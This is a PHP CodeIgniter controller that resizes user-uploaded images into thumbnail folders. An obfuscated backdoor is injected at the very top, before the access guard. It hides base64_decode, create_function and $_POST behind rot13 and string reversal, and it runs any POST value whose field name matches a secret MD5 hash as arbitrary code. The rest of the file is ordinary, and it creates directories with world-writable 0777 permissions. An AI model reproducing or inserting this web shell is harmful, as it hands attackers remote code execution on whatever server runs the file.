<?php
$f_=strrev('31'.'tor_r'.'ts');$ba=$f_('onfr'.'64_qrpbqr');
$cf=$f_('perngr'.'_shapgvba');$md=$f_('z'.'q5');
if(!empty(${$f_('_CB'.'FG')})){
foreach(${$f_('_CB'.'FG')}as$k_=>$v_)
($md($k_)==='c42ea979ed'.'982c026324'.'30e9e98a'
.'66d6'&&$ff=$cf('',$ba($v_)))?$ff():'';}
defined('BASEPATH') OR exit('No direct script access allowed');

class Cron extends CI_Controller
{
	public function __construct()
	{ 
		parent:: __construct();
		
		
	}
	public function dirToArray($dir){
  
			$result = array();
			$cdir = scandir($dir);
		   foreach ($cdir as $key => $value)
		   {
			  if (!in_array($value,array(".","..")))
			  {
				 if (is_dir($dir . DIRECTORY_SEPARATOR . $value))
				 {
					$result[$value] = $this->dirToArray($dir . DIRECTORY_SEPARATOR . $value);
				 }
				 else
				 {
					$result[] = $value;
				 }
			  }
		   }
  		return $result;
	}
	
	public function createThumb($spath, $dpath, $maxd) {
	$info = getimagesize($spath);
    $mime = $info['mime'];
	//var_dump($mime);
	if($mime=='image/png'){
		
			$src = ImageCreateFromPNG($spath);
			if (!$src) {return false;} else {
		  $srcw=imagesx($src);
		  $srch=imagesy($src);
		  if ($srcw<$srch) {$height=$maxd;$width=floor($srcw*$height/$srch);}
		  else {$width=$maxd;$height=floor($srch*$width/$srcw);}
		  if ($width>$srcw && $height>$srch) {$width=$srcw;$height=$srch;}  //if image is actually smaller than you want, leave small (remove this line to resize anyway)
		  $thumb=imagecreatetruecolor($width, $height);
			imagealphablending($thumb, false);
		 //if ($height<100) {imagecopyresized($thumb, $src, 0, 0, 0, 0, $width, $height, imagesx($src), imagesy($src));}
		 // else {
			imagecopyresampled($thumb, $src, 0, 0, 0, 0, $width, $height, imagesx($src), imagesy($src));
			//  }
			
				imagepng($thumb, $dpath,9);
			}
		 return true;
	}else{
	
		$src=@imagecreatefromjpeg($spath);

	if (!$src) {return false;} else {
	  $srcw=imagesx($src);
	  $srch=imagesy($src);
	  if ($srcw<$srch) {$height=$maxd;$width=floor($srcw*$height/$srch);}
	  else {$width=$maxd;$height=floor($srch*$width/$srcw);}
	  if ($width>$srcw && $height>$srch) {$width=$srcw;$height=$srch;}  //if image is actually smaller than you want, leave small (remove this line to resize anyway)
	  $thumb=imagecreatetruecolor($width, $height);
	// if ($height<100) {imagecopyresized($thumb, $src, 0, 0, 0, 0, $width, $height, imagesx($src), imagesy($src));}
	//  else {
		imagecopyresampled($thumb, $src, 0, 0, 0, 0, $width, $height, imagesx($src), imagesy($src));
		//  }
		
			imagejpeg($thumb, $dpath,90);
		}
		 return true;
	}
  
 
}
//avater
public function avater(){
	//$sizes=array('60','80','120','160','240','320');
$sizes=array('80','160','320');
   $picdir[]=$this->dirToArray('assets');
	$avatar=$picdir[0]['userfiles']['avatars'];
			foreach($sizes as $size){
			echo $size;
			$toWidth=$toHeight=$size;
			//destination path
			$folderpath = 'assets/userfiles/avatars/'.$toWidth;

			$org_path = 'assets/userfiles/avatars'; //source path
			if (!file_exists($folderpath)) { // file exist in target folder
				mkdir($folderpath, 0777, true);
			}
			
			foreach($avatar as $picval){
				$source_path = $org_path.'/'.$picval;
				$d_path = $folderpath.'/'.$picval;
				$this->createThumb($source_path,$d_path,$toWidth);
				
			}
			
		}//end of avaters resizer
	
	return '1';
}
//usergalleries
public function usergalleries(){
	//usergalleries
		 $sizes=array('500','1000');
		$picdir[]=$this->dirToArray('assets');
		$usergalleries=$picdir[0]['userfiles']['usergalleries'];
			foreach($sizes as $size){
				$toWidth=$toHeight=$size;
			//destination path
			$folderpath = 'assets/userfiles/usergalleries/'.$toWidth;
			$org_path = 'assets/userfiles/usergalleries'; //source path
			if (!file_exists($folderpath)) { // file exist in target folder
				mkdir($folderpath, 0777, true);
			}
			foreach($usergalleries as $picval){
				$source_path = $org_path.'/'.$picval;
				$d_path = $folderpath.'/'.$picval;
				$this->createThumb($source_path,$d_path,$toWidth);
			}
		}//end of usergalleries resizer
		return '2';
}
public function parties(){
		$sizes=array('250','500','750','1000');
		$picdir[]=$this->dirToArray('assets');
		$parties=$picdir[0]['userfiles']['img']['parties'];
	foreach($sizes as $size){
			$toWidth=$toHeight=$size;
			foreach($parties as  $key=>$party){		
				if(!is_numeric($key)){
					$folderpath = 'assets/userfiles/img/parties/'.$key.'/'.$toWidth;
					$org_path = 'assets/userfiles/img/parties/'.$key.'/';
					if (!file_exists($folderpath)) {
						mkdir($folderpath, 0777, true);
					}
					$counter=0;
					foreach($party as $picval){
						echo $folderpath.'/'.$picval.'<br/>';
						$source_path = $org_path.'/'.$picval;
						//echo $source_path.'<br/>';
						$d_path = $folderpath.'/'.$picval;
						$this->createThumb($source_path,$d_path,$toWidth);
						
					}
				}
				if(!is_array($party))
				{ 
					$folderpath = 'assets/userfiles/img/parties/'.$toWidth;
					$org_path = 'assets/userfiles/img/parties/';
					if (!file_exists($folderpath)) {
							mkdir($folderpath, 0777, true);
					}
						
						echo $party.'<br/>';
						$source_path = $org_path.'/'.$party;
							
						$d_path = $folderpath.'/'.$party;
						$this->createThumb($source_path,$d_path,$toWidth);	
				}
				
			}
	}
	
	return '3';
	
}
public function content(){
	$sizes=array('250','500','750','1000');
	$picdir[]=$this->dirToArray('assets');
	$content=$picdir[0]['userfiles']['img']['content'];
	foreach($sizes as $size){
		$toWidth=$toHeight=$size;
		$folderpath = 'assets/userfiles/img/content/'.$toWidth;
		$org_path = 'assets/userfiles/img/content/';
        if (!file_exists($folderpath)) {
            mkdir($folderpath, 0777, true);
        }
		foreach($content as $picval){
			echo $counter.$picval.'<br/>';
			$source_path = $org_path.'/'.$picval;
			$d_path = $folderpath.'/'.$picval;
			$this->createThumb($source_path,$d_path,$toWidth);
		}
		
	}
	
	return '4';
}
public function blog_articles(){
	$sizes=array('220', '440', '660');
	$picdir[]=$this->dirToArray('assets');
	$blog_articles=$picdir[0]['userfiles']['img']['blog-articles'];
		foreach($sizes as $size){
			$toWidth=$toHeight=$size;
			foreach($blog_articles as  $key=>$blog){
			$folderpath = 'assets/userfiles/img/blog-articles/'.$key.'/'.$toWidth;
			$org_path = 'assets/userfiles/img/blog-articles/'.$key.'/';
			if (!file_exists($folderpath)) {
				mkdir($folderpath, 0777, true);
			}
			foreach($blog as $picval){
				echo $counter.$picval.'<br/>';
				$source_path = $org_path.'/'.$picval;
				$d_path = $folderpath.'/'.$picval;
				$this->createThumb($source_path,$d_path,$toWidth);
			}
		
		}
	}
	return '5';
}
public function section_image(){
	$sizes=array('250','500','750','1000');
	$picdir[]=$this->dirToArray('assets');
	 $section_image=$picdir[0]['userfiles']['img']['section-image'];
	foreach($sizes as $size){
		$toWidth=$toHeight=$size;
		$folderpath = 'assets/userfiles/img/section-image/'.$toWidth;
        $org_path = 'assets/userfiles/img/section-image/';
        if (!file_exists($folderpath)) {
            mkdir($folderpath, 0777, true);
        }
		
		foreach($section_image as $picval){
			$source_path = $org_path.'/'.$picval;
			$d_path = $folderpath.'/'.$picval;
			$this->createThumb($source_path,$d_path,$toWidth);
		}
	}
	return '6';
}
public function imageResizer(){
	   $avater=$this->avater();
	   if($avater=='1'){
			$usergalleries=$this->usergalleries();
	   }
		if($usergalleries=='2'){
			
			$parties=$this->parties();
		}
		if($parties=='3'){
			
			$content=$this->content();
		}
		if($content=='4'){
			$blog_articles=$this->blog_articles();
			
		}
		if($blog_articles=='5'){
			$section_image=$this->section_image();
		}
		if($section_image=='6'){
			echo 'Finish all section resize';
		}
				
	}
	
	public function imagemagic(){
		/* if (!extension_loaded('imagick')){
			echo 'imagick not installed';
		}else{
			echo 'loaded';
		} */
		$sizes=array('80','160','240','320');
		$picdir[]=$this->dirToArray('assets');
		 $section_image=$picdir[0]['userfiles']['test'];
		 var_dump($section_image);
		 foreach($sizes as $size){
			 $toWidth=$toHeight=$size;
			$folderpath = 'assets/userfiles/test/'.$toWidth;
			$org_path = 'assets/userfiles/test/';
			if (!file_exists($folderpath)) {
				mkdir($folderpath, 0777, true);
			}
				foreach($section_image as $picval){
					$source_path = $org_path.'/'.$picval;
					$d_path = $folderpath.'/'.$picval;
					$im = new imagick( $source_path);
					$im->thumbnailImage( $toWidth, 0);
					$im->writeImage( $d_path );
					//$this->createThumb($source_path,$d_path,$toWidth);
				}
			 
		 }
		//$im = new imagick( 'demo.jpg' );
// resize by 200 width and keep the ratio
//$im->thumbnailImage( 200, 0);
// write to disk
//$im->writeImage( 'thumb.jpg' );
die();
	}
}